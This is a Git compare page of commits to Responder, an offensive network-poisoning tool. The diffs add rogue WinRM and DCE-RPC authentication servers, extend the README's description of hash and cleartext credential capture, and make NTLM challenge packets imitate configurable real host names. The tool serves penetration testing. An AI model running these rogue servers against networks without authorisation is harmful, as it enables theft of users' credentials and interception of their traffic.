Compare commits

...

16 Commits

Author SHA1 Message Date
lgandx
79dfe8ebd0 Merge branch 'master' of https://github.com/lgandx/Responder 2021-04-19 18:14:13 -03:00
lgandx
85315442bd Added WinRM rogue server 2021-04-19 18:12:27 -03:00
lgandx
35a02e389b Update README.md 2021-04-19 12:50:44 -03:00
lgandx
b779d1b494 Update README.md 2021-04-19 12:38:21 -03:00
lgandx
53d66e3816 Update README.md 2021-04-19 12:29:36 -03:00
lgandx
72070a02eb Merge pull request #155 from HexPandaa/patch-1
Compare values with `==` instead of `is`
2021-04-19 12:14:04 -03:00
lgandx
465f730846 Update README.md 2021-04-19 01:32:38 -03:00
lgandx
0b669c305d Update README.md
Added Synacktiv as major donor.
2021-04-16 22:32:51 -03:00
lgandx
8f74fdaf46 forgot to add packets.py 2021-04-16 21:42:22 -03:00
lgandx
e91e37c974 Added dce-rpc module + enhancements + bug fix. 2021-04-16 21:35:32 -03:00
lgandx
027e6b95c3 removed addiontional RR on SRV answers 2021-04-14 02:39:46 -03:00
HexPandaa
7d96fa95c4 Compare strings with == instead of is
`==` should be used when comparing values, `is` should be used to compare identities.
Modern versions of Python throw a SyntaxWarning.
2021-04-02 17:13:05 +02:00
HexPandaa
51f176633e Compare values with == instead of is
`==` should be used when comparing values, `is` should be used to compare identities.
Modern versions of Python throw a SyntaxWarning.
2021-04-02 17:10:17 +02:00
HexPandaa
3d9147f36c Compare strings with == instead of is
`==` should be used when comparing values, `is` should be used to compare identities.
Modern versions of Python throw a SyntaxWarning.
2021-04-02 17:04:36 +02:00
HexPandaa
f4c11111a7 Compare strings with == instead of is
`==` should be used when comparing values, `is` should be used to compare identities.
Modern versions of Python throw a SyntaxWarning.
2021-04-02 17:03:56 +02:00
HexPandaa
c33da69a8b Use == instead of is
`==` should be used when comparing values, `is` should be used to compare identities.
2021-04-02 17:00:35 +02:00
18 changed files with 783 additions and 124 deletions

View File

@@ -10,21 +10,21 @@ Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.c
Responder is an LLMNR, NBT-NS and MDNS poisoner. It will answer to *specific* NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: http://support.microsoft.com/kb/163409). By default, the tool will only answer to File Server Service request, which is for SMB.
The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior. You can set the -r option via command line if you want to answer to the Workstation Service request name suffix.
The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior. You can set the -r option via command line if you want to answer to the Workstation Service request name suffix. The option -d is also available if you want to poison Domain Service name queries.
## Features ##
- Built-in SMB Auth server.
Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2012 RC, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. SMBv2 has also been implemented and is supported by default.
Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2022, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. SMBv2 has also been implemented and is supported by default.
- Built-in MSSQL Auth server.
In order to redirect SQL Authentication to this tool, you will need to set the option -r (NBT-NS queries for SQL Server lookup are using the Workstation Service name suffix) for systems older than windows Vista (LLMNR will be used for Vista and higher). This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005 & 2008.
In order to redirect SQL Authentication to this tool, you will need to set the option -r (NBT-NS queries for SQL Server lookup are using the Workstation Service name suffix) for systems older than windows Vista (LLMNR will be used for Vista and higher). This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005, 2008, 2012, 2019.
- Built-in HTTP Auth server.
In order to redirect HTTP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server was successfully tested on IE 6 to IE 10, Firefox, Chrome, Safari.
In order to redirect HTTP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server was successfully tested on IE 6 to IE 11, Edge, Firefox, Chrome, Safari.
Note: This module also works for WebDav NTLM authentication issued from Windows WebDav clients (WebClient). You can now send your custom files to a victim.
@@ -34,7 +34,11 @@ Same as above. The folder certs/ contains 2 default keys, including a dummy pri
- Built-in LDAP Auth server.
In order to redirect LDAP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMSSP hashes and Simple Authentication (clear text authentication). This server was successfully tested on Windows Support tool "ldp" and LdapAdmin.
In order to redirect LDAP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for LDAP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMSSP hashes and Simple Authentication (clear text authentication). This server was successfully tested on Windows Support tool "ldp" and LdapAdmin.
- Built-in DCE-RPC Auth server.
In order to redirect DCE-RPC Authentication to this tool, you will need to set the option -r and -d (NBT-NS queries for DCE-RPC server lookup are sent using the Workstation and Domain Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMSSP hashes. This server was successfully tested on Windows XP to Server 2019.
- Built-in FTP, POP3, IMAP, SMTP Auth servers.
@@ -42,7 +46,7 @@ This modules will collect clear text credentials.
- Built-in DNS server.
This server will answer type A queries. This is really handy when it's combined with ARP spoofing.
This server will answer type SRV and A queries. This is really handy when it's combined with ARP spoofing.
- Built-in WPAD Proxy Server.
@@ -66,7 +70,7 @@ For MITM on Windows XP/2003 and earlier Domain members. This attack combined wit
python tools/DHCP.py
DHCP Inform Spoofing. Allows you to let the real DHCP Server issue IP addresses, and then send a DHCP Inform answer to set your IP address as a primary DNS server, and your own WPAD URL.
DHCP Inform Spoofing. Allows you to let the real DHCP Server issue IP addresses, and then send a DHCP Inform answer to set your IP address as a primary DNS server, and your own WPAD URL. To inject a DNS server, domain, route on all Windows version and any linux box, use -R
- Analyze mode.
@@ -89,7 +93,7 @@ Additionally, all captured hashed are logged into an SQLite database which you c
## Considerations ##
- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, UDP 1434, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128, Multicast UDP 5355 and 5353.
- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, UDP 1434, TCP 80, TCP 135, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128, Multicast UDP 5355 and 5353.
- If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports.
@@ -176,9 +180,11 @@ Or BTC address:
Late Responder development has been possible because of the donations received from individuals and companies.
We would like to thanks those major donator:
We would like to thanks those major sponsors:
- SecureWorks : https://www.secureworks.com/
- SecureWorks: https://www.secureworks.com/
- Synacktiv: https://www.synacktiv.com/
- Black Hills Information Security: http://www.blackhillsinfosec.com/
@@ -192,6 +198,12 @@ We would like to thanks those major donator:
Thank you.
## Official Discord Channel
Come hang out on Discord!
[![Porchetta Industries](https://discordapp.com/api/guilds/736724457258745996/widget.png?style=banner3)](https://discord.gg/sEkn3aa)
## Copyright ##
NBT-NS/LLMNR Responder

View File

@@ -13,6 +13,8 @@ HTTP = On
HTTPS = On
DNS = On
LDAP = On
DCERPC = On
WINRM = On
; Custom challenge.
; Use "Random" for generating a random challenge for each requests (Default)

View File

@@ -262,6 +262,10 @@ def main():
from servers.HTTP import HTTP
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 80, HTTP,)))
if settings.Config.WinRM_On_Off:
from servers.WinRM import WinRM
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 5985, WinRM,)))
if settings.Config.SSL_On_Off:
from servers.HTTP import HTTP
threads.append(Thread(target=serve_thread_SSL, args=(settings.Config.Bind_To, 443, HTTP,)))
@@ -270,6 +274,11 @@ def main():
from servers.RDP import RDP
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3389, RDP,)))
if settings.Config.DCERPC_On_Off:
from servers.RPC import RPCMap, RPCMapper
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 135, RPCMap,)))
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, settings.Config.RPCPort, RPCMapper,)))
if settings.Config.WPAD_On_Off:
from servers.HTTP_Proxy import HTTP_Proxy
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3141, HTTP_Proxy,)))

View File

@@ -40,10 +40,6 @@ class Packet():
def __str__(self):
return "".join(map(str, self.fields.values()))
def GenerateCallbackName():
return ''.join([random.choice('abcdefghijklmnopqrstuvwxyz0123456789') for i in range(11)])
# NBT Answer Packet
class NBT_Ans(Packet):
fields = OrderedDict([
@@ -101,7 +97,7 @@ class DNS_SRV_Ans(Packet):
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x01"),
("AdditionalRRS", "\x00\x00"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x21"),#srv
@@ -121,13 +117,6 @@ class DNS_SRV_Ans(Packet):
("TargetLenSuff2", ""),
("TargetSuffix2", ""),
("TargetNull", "\x00"),
("AnswerAPointer", "\xc0"),
("AnswerAPtrOffset", ""),
("Type2", "\x00\x01"),#A record.
("Class2", "\x00\x01"),
("TTL2", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self,data):
@@ -139,7 +128,7 @@ class DNS_SRV_Ans(Packet):
self.fields["QuestionName"] = DNSName
#Want to be detected that easily by xyz sensor?
self.fields["TargetPrefix"] = "win-"+GenerateCallbackName()
self.fields["TargetPrefix"] = settings.Config.MachineName
#two last parts of the domain are the actual Domain name.. eg: contoso.com
self.fields["TargetSuffix"] = SplitFQDN[-2]
@@ -154,21 +143,14 @@ class DNS_SRV_Ans(Packet):
#Our answer len..
self.fields["RecordLen"] = StructPython2or3(">h",CalcLen)
#Where is Answer A Pointer...
CalcRROffset= self.fields["QuestionName"]+self.fields["QuestionNameNull"]+self.fields["Type"]+self.fields["Class"]+CalcLen
self.fields["AnswerAPtrOffset"] = StructWithLenPython2or3("B",len(CalcRROffset)-4)
#for now we support ldap and kerberos...
if "ldap" in DNSName:
self.fields["Port"] = StructWithLenPython2or3(">h", 389)
if "kerberos" in DNSName:
self.fields["Port"] = StructWithLenPython2or3(">h", 88)
#Last but not least... we provide our IP, so computers can enjoy our services.
self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
# LLMNR Answer Packet
class LLMNR_Ans(Packet):
fields = OrderedDict([
@@ -236,22 +218,22 @@ class NTLM_Challenge(Packet):
("TargetInfoMaxLen", "\x7e\x00"),
("TargetInfoOffset", "\x3e\x00\x00\x00"),
("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
("TargetNameStr", "SMB"),
("TargetNameStr", settings.Config.Domain),
("Av1", "\x02\x00"),#nbt name
("Av1Len", "\x06\x00"),
("Av1Str", "SMB"),
("Av1Str", settings.Config.Domain),
("Av2", "\x01\x00"),#Server name
("Av2Len", "\x14\x00"),
("Av2Str", "SMB-TOOLKIT"),
("Av2Str", settings.Config.MachineName),
("Av3", "\x04\x00"),#Full Domain name
("Av3Len", "\x12\x00"),
("Av3Str", "smb.local"),
("Av3Str", settings.Config.DomainName),
("Av4", "\x03\x00"),#Full machine domain name
("Av4Len", "\x28\x00"),
("Av4Str", "server2003.smb.local"),
("Av4Str", settings.Config.MachineName+'.'+settings.Config.DomainName),
("Av5", "\x05\x00"),#Domain Forest Name
("Av5Len", "\x12\x00"),
("Av5Str", "smb.local"),
("Av5Str", settings.Config.DomainName),
("Av6", "\x00\x00"),#AvPairs Terminator
("Av6Len", "\x00\x00"),
])
@@ -335,6 +317,21 @@ class IIS_NTLM_Challenge_Ans(Packet):
def calculate(self,payload):
self.fields["Payload"] = b64encode(payload)
class WinRM_NTLM_Challenge_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 401 \r\n"),
("WWWAuth", "WWW-Authenticate: Negotiate "),
("Payload", ""),
("Payload-CRLF", "\r\n"),
("ServerType", "Server: Microsoft-HTTPAPI/2.0\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
])
def calculate(self,payload):
self.fields["Payload"] = b64encode(payload)
class IIS_Basic_401_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
@@ -544,22 +541,22 @@ class MSSQLNTLMChallengeAnswer(Packet):
("TargetInfoMaxLen", "\x7e\x00"),
("TargetInfoOffset", "\x3e\x00\x00\x00"),
("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
("TargetNameStr", "SMB"),
("TargetNameStr", settings.Config.Domain),
("Av1", "\x02\x00"),#nbt name
("Av1Len", "\x06\x00"),
("Av1Str", "SMB"),
("Av1Str", settings.Config.Domain),
("Av2", "\x01\x00"),#Server name
("Av2Len", "\x14\x00"),
("Av2Str", "SMB-TOOLKIT"),
("Av2Str", settings.Config.MachineName),
("Av3", "\x04\x00"),#Full Domain name
("Av3Len", "\x12\x00"),
("Av3Str", "smb.local"),
("Av3Str", settings.Config.DomainName),
("Av4", "\x03\x00"),#Full machine domain name
("Av4Len", "\x28\x00"),
("Av4Str", "server2003.smb.local"),
("Av4Str", settings.Config.MachineName+'.'+settings.Config.DomainName),
("Av5", "\x05\x00"),#Domain Forest Name
("Av5Len", "\x12\x00"),
("Av5Str", "smb.local"),
("Av5Str", settings.Config.DomainName),
("Av6", "\x00\x00"),#AvPairs Terminator
("Av6Len", "\x00\x00"),
])
@@ -602,7 +599,7 @@ class SMTPGreeting(Packet):
fields = OrderedDict([
("Code", "220"),
("Separator", "\x20"),
("Message", "smtp01.local ESMTP"),
("Message", settings.Config.DomainName+" ESMTP"),
("CRLF", "\x0d\x0a"),
])
@@ -610,7 +607,7 @@ class SMTPAUTH(Packet):
fields = OrderedDict([
("Code0", "250"),
("Separator0", "\x2d"),
("Message0", "smtp01.local"),
("Message0", settings.Config.DomainName),
("CRLF0", "\x0d\x0a"),
("Code", "250"),
("Separator", "\x20"),
@@ -805,22 +802,22 @@ class LDAPNTLMChallenge(Packet):
("NegTokenInitSeqMechMessageVersionBuilt", "\xce\x0e"),
("NegTokenInitSeqMechMessageVersionReserved", "\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType", "\x0f"),
("NTLMSSPNtWorkstationName", "SMB12"),
("NTLMSSPNtWorkstationName", settings.Config.Domain),
("NTLMSSPNTLMChallengeAVPairsId", "\x02\x00"),
("NTLMSSPNTLMChallengeAVPairsLen", "\x0a\x00"),
("NTLMSSPNTLMChallengeAVPairsUnicodeStr", "smb12"),
("NTLMSSPNTLMChallengeAVPairsUnicodeStr", settings.Config.Domain),
("NTLMSSPNTLMChallengeAVPairs1Id", "\x01\x00"),
("NTLMSSPNTLMChallengeAVPairs1Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr", "SERVER2008"),
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr", settings.Config.MachineName),
("NTLMSSPNTLMChallengeAVPairs2Id", "\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs2Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr", "smb12.local"),
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr", settings.Config.MachineName+'.'+settings.Config.DomainName),
("NTLMSSPNTLMChallengeAVPairs3Id", "\x03\x00"),
("NTLMSSPNTLMChallengeAVPairs3Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr", "SERVER2008.smb12.local"),
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr", settings.Config.DomainName),
("NTLMSSPNTLMChallengeAVPairs5Id", "\x05\x00"),
("NTLMSSPNTLMChallengeAVPairs5Len", "\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr", "smb12.local"),
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr", settings.Config.DomainName),
("NTLMSSPNTLMChallengeAVPairs6Id", "\x00\x00"),
("NTLMSSPNTLMChallengeAVPairs6Len", "\x00\x00"),
])
@@ -828,7 +825,7 @@ class LDAPNTLMChallenge(Packet):
def calculate(self):
###### Convert strings to Unicode first
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le').decode('latin-1')
@@ -923,7 +920,6 @@ class CLDAPNetlogon(Packet):
])
def calculate(self):
###### LDAP Packet Len
CalculatePacketLen = str(self.fields["MessageIDASNID"])+str(self.fields["MessageIDASNLen"])+str(self.fields["MessageIDASNStr"])+str(self.fields["OpHeadASNID"])+str(self.fields["OpHeadASNIDLenOfLen"])+str(self.fields["OpHeadASNIDLen"])+str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])
OperationPacketLen = str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])
@@ -1147,15 +1143,16 @@ class SMBNegoAnsLM(Packet):
("Keylength", "\x08"),
("Bcc", "\x10\x00"),
("Key", ""),
("Domain", "SMB"),
("Domain", settings.Config.Domain),
("DomainNull", "\x00\x00"),
("Server", "SMB-TOOLKIT"),
("Server", settings.Config.MachineName),
("ServerNull", "\x00\x00"),
])
def calculate(self):
self.fields["Domain"] = self.fields["Domain"].encode('utf-16le')
self.fields["Server"] = self.fields["Server"].encode('utf-16le')
self.fields["Domain"] = self.fields["Domain"].encode('utf-16le').decode('latin-1')
self.fields["Server"] = self.fields["Server"].encode('utf-16le').decode('latin-1')
CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"])+str(self.fields["DomainNull"])+str(self.fields["Server"])+str(self.fields["ServerNull"])
self.fields["Bcc"] = StructWithLenPython2or3("<h",len(CompleteBCCLen))
self.fields["Keylength"] = StructWithLenPython2or3("<h",len(self.fields["Key"]))[0]
@@ -1200,7 +1197,7 @@ class SMBNegoAns(Packet):
("NegHintTag0ASNLen", "\x17"),
("NegHintFinalASNId", "\x1b"),
("NegHintFinalASNLen", "\x15"),
("NegHintFinalASNStr", "server2008$@SMB.LOCAL"),
("NegHintFinalASNStr", settings.Config.MachineNego),
])
def calculate(self):
@@ -1272,7 +1269,7 @@ class SMBNegoKerbAns(Packet):
("NegHintTag0ASNLen", "\x17"),
("NegHintFinalASNId", "\x1b"),
("NegHintFinalASNLen", "\x15"),
("NegHintFinalASNStr", "server2008$@SMB.LOCAL"),
("NegHintFinalASNStr", settings.Config.MachineNego),
])
def calculate(self):
@@ -1345,22 +1342,22 @@ class SMBSession1Data(Packet):
("NegTokenInitSeqMechMessageVersionBuilt","\xce\x0e"),
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
("NTLMSSPNtWorkstationName","SMB12"),
("NTLMSSPNtWorkstationName",settings.Config.Domain),
("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"),
("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"),
("NTLMSSPNTLMChallengeAVPairsUnicodeStr","SMB12"),
("NTLMSSPNTLMChallengeAVPairsUnicodeStr",settings.Config.Domain),
("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"),
("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","SMB12"),
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr",settings.Config.MachineName),
("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","SMB12"),
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr",settings.Config.MachineName+'.'+settings.Config.DomainName),
("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"),
("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","SMB12"),
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr",settings.Config.DomainName),
("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"),
("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","SMB12"),
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr",settings.Config.DomainName),
("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"),
("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"),
("NTLMSSPNTLMPadding", ""),
@@ -1370,10 +1367,9 @@ class SMBSession1Data(Packet):
("NativeLANTerminator","\x00\x00"),
])
def calculate(self):
###### Convert strings to Unicode
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le').decode('latin-1')
@@ -1580,7 +1576,7 @@ class SMB2NegoAns(Packet):
("NegHintTag0ASNLen", "\x26"),
("NegHintFinalASNId", "\x1b"),
("NegHintFinalASNLen", "\x24"),
("NegHintFinalASNStr", "Server2008@SMB3.local"),
("NegHintFinalASNStr", settings.Config.MachineName+'@'+settings.Config.DomainName),
])
def calculate(self):
@@ -1666,22 +1662,22 @@ class SMB2Session1Data(Packet):
("NegTokenInitSeqMechMessageVersionBuilt","\x80\x25"),
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
("NTLMSSPNtWorkstationName","SMB3"),
("NTLMSSPNtWorkstationName",settings.Config.Domain),
("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"),
("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"),
("NTLMSSPNTLMChallengeAVPairsUnicodeStr","SMB3"),
("NTLMSSPNTLMChallengeAVPairsUnicodeStr",settings.Config.Domain),
("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"),
("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","WIN-PRH492RQAFV"),
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr",settings.Config.MachineName),
("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","SMB3.local"),
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr",settings.Config.MachineName+'.'+settings.Config.DomainName),
("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"),
("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","WIN-PRH492RQAFV.SMB3.local"),
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr", settings.Config.DomainName),
("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"),
("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","SMB3.local"),
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr",settings.Config.DomainName),
("NTLMSSPNTLMChallengeAVPairs7Id","\x07\x00"),
("NTLMSSPNTLMChallengeAVPairs7Len","\x08\x00"),
("NTLMSSPNTLMChallengeAVPairs7UnicodeStr",SMBTime()),
@@ -1824,19 +1820,19 @@ class RDPNTLMChallengeAnswer(Packet):
("PacketStartASNTag0CredSSPVersion", "\x05"),##TSVersion: Since padding oracle, v2,v3,v4 are rejected by win7..
("ParserHeadASNID1", "\xa1"),
("ParserHeadASNLenOfLen1", "\x81"),
("ParserHeadASNLen1", "\xfa"),#... +12
("ParserHeadASNLen1", "\xfa"),
("MessageIDASNID", "\x30"),
("MessageIDASNLen", "\x81"),
("MessageIDASNLen2", "\xf7"),#... +9
("MessageIDASNLen2", "\xf7"),
("OpHeadASNID", "\x30"),
("OpHeadASNIDLenOfLen", "\x81"),
("OpHeadASNIDLen", "\xf4"),#... +6
("OpHeadASNIDLen", "\xf4"),
("StatusASNID", "\xa0"),
("MatchedDN", "\x81"),
("ASNLen01", "\xf1"),#NTLM len +3
("ASNLen01", "\xf1"),
("SequenceHeader", "\x04"),
("SequenceHeaderLenOfLen", "\x81"),
("SequenceHeaderLen", "\xee"), #done
("SequenceHeaderLen", "\xee"),
#######
("NTLMSSPSignature", "NTLMSSP"),
("NTLMSSPSignatureNull", "\x00"),
@@ -1855,22 +1851,22 @@ class RDPNTLMChallengeAnswer(Packet):
("NegTokenInitSeqMechMessageVersionBuilt", "\xce\x0e"),
("NegTokenInitSeqMechMessageVersionReserved", "\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType", "\x0f"),
("NTLMSSPNtWorkstationName", "RDP12"),
("NTLMSSPNtWorkstationName", settings.Config.Domain),
("NTLMSSPNTLMChallengeAVPairsId", "\x02\x00"),
("NTLMSSPNTLMChallengeAVPairsLen", "\x0a\x00"),
("NTLMSSPNTLMChallengeAVPairsUnicodeStr", "RDP12"),
("NTLMSSPNTLMChallengeAVPairsUnicodeStr", settings.Config.Domain),
("NTLMSSPNTLMChallengeAVPairs1Id", "\x01\x00"),
("NTLMSSPNTLMChallengeAVPairs1Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr", "RDP12"),
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr", settings.Config.MachineName),
("NTLMSSPNTLMChallengeAVPairs2Id", "\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs2Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr", "RDP12"),
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr", settings.Config.MachineName+'.'+settings.Config.DomainName),
("NTLMSSPNTLMChallengeAVPairs3Id", "\x03\x00"),
("NTLMSSPNTLMChallengeAVPairs3Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr", "RPD12"),
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr", settings.Config.DomainName),
("NTLMSSPNTLMChallengeAVPairs5Id", "\x05\x00"),
("NTLMSSPNTLMChallengeAVPairs5Len", "\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr", "RDP12"),
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr", settings.Config.DomainName),
("NTLMSSPNTLMChallengeAVPairs6Id", "\x00\x00"),
("NTLMSSPNTLMChallengeAVPairs6Len", "\x00\x00"),
])
@@ -1917,4 +1913,233 @@ class RDPNTLMChallengeAnswer(Packet):
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
#######################################RPC#################################################
class RPCMapBindAckAcceptedAns(Packet):
fields = OrderedDict([
("Version", "\x05"),
("VersionLow", "\x00"),
("PacketType", "\x0c"),#Bind ack.
("PacketFlag", "\x03"),
("DataRepresent", "\x10\x00\x00\x00"),
("FragLen", "\x2c\x02"),
("AuthLen", "\x00\x00"),
("CallID", "\x02\x00\x00\x00"),
("MaxTransFrag", "\xd0\x16"),
("MaxRecvFrag", "\xd0\x16"),
("GroupAssoc", "\x26\x2a\x00\x00"),
("SecondaryAddrLen", "\x04\x00"),
("SecondaryAddrstr", "\x31\x33\x35\x00"),
("Padding", "\x00\x00"),
("CTXNumber", "\x03"),
